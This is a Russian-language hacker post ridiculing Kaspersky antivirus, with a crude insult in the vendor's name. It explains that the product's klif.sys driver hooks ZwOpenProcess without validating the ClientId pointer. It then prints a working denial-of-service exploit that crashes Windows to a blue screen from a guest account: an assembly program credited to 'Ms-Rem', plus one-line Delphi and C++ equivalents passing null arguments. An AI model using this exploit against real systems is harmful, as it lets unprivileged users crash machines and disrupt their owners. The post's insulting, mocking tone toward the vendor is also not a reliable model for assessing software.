|
Очередная лажа КАрла СПЕРмСКОГО |
::..::..:: |
Существует на свете такой антивирус, который громко зовется
"Антивирус Карла Спермского" и незаслуженно пользуется у многих популярностью.
Этот антивирус также знаменит тем, что его процесс нельзя убить диспетчером задач, и это, типа, у них зовется очень крутая защита. На самом деле, товарищ
Карл Спермский и Ко написали большую лажу, и его антивирус содержит ОГРОМНЫЕ дыры и ужасно тупые баги. Сейчас я приведу пример бага который присутствует в этом сраном антивирусе вплоть до последних его версий, и который позволяет вынести систему в синий экран нах... Причем для этого нужно всего-лишь иметь в системе права гостя.
Причина бага состоит в том, что антивирус для защиты своего процесса от уничтожения устанавливает в систему драйвер и перехватывает в ядре системы функцию
ZwOpenProcess, которая используется для доступа к другим процессам, после чего он запрещает открытие своего процесса с флагом
PROCESS_TERMINATE.
Вот прототип этой функции:
NTSYSAPI
NTSTATUS
NTAPI
ZwOpenProcess( OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL );
Все это конечно хорошо, но программисты "Карла Спермского" были настолько криворуки и тупы, что допустили очень тупой баг, который мог допустить лишь человек совсем незнакомый с системным программированием.
Приблизительно код функции перехватчика ZwOpenProcess антивируса "Карла Спермского" выглядит так:
NTSTATUS NewZwOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL)
{
if (ClientId->UniqueProcess == MyPid) return STATUS_ACCESS_DENIED;
else return RealZwOpenProcess(ProcessHandle, DesiredAccess,
ObjectAttributes, ClientId);
}
как вы видите в коде проверяется значение поля UniqueProcess структуры
CLIENT_ID на которую указывает указатель
ClientId. Это есть полная лажа, так как указатель
ClientId передается из кода режима пользователя, а код режима ядра пытается выбрать поле структуры не проверяя валидность указателей. Если я передам нулевой указатель, то возникнет ошибка доступа к памяти, а такая ошибка в коде режима ядра приводит к немедленному падению системы.
Эксплоит на этот баг будет выглядеть так:
; AVKS ;) DoS Exploit
; Coded by Ms-Rem
.386
.model flat, stdcall
include ntdll.inc
includelib ntdll.lib
.code
start:
push 01
push 00
push 00
push 01
call ZwOpenProcess
end start
На Delphi так:
ZwOpenProcess(nil, 0, nil, nil);
На С++ так:
ZwOpenProcess(NULL, (HANDLE)0, NULL, NULL);
При выполнении этого кода система падает с сообщением об ошибке в драйвере klif.sys. Выполнение этого кода не требует никаких привилегий. Как видите, Карл Спермский очень сильно старается помочь хакерам и злодеям :). Так что лучше еще раз подумайте, прежде чем решите установить его антивирус.Разместил
Timoty | |
|
| | | | | | |
|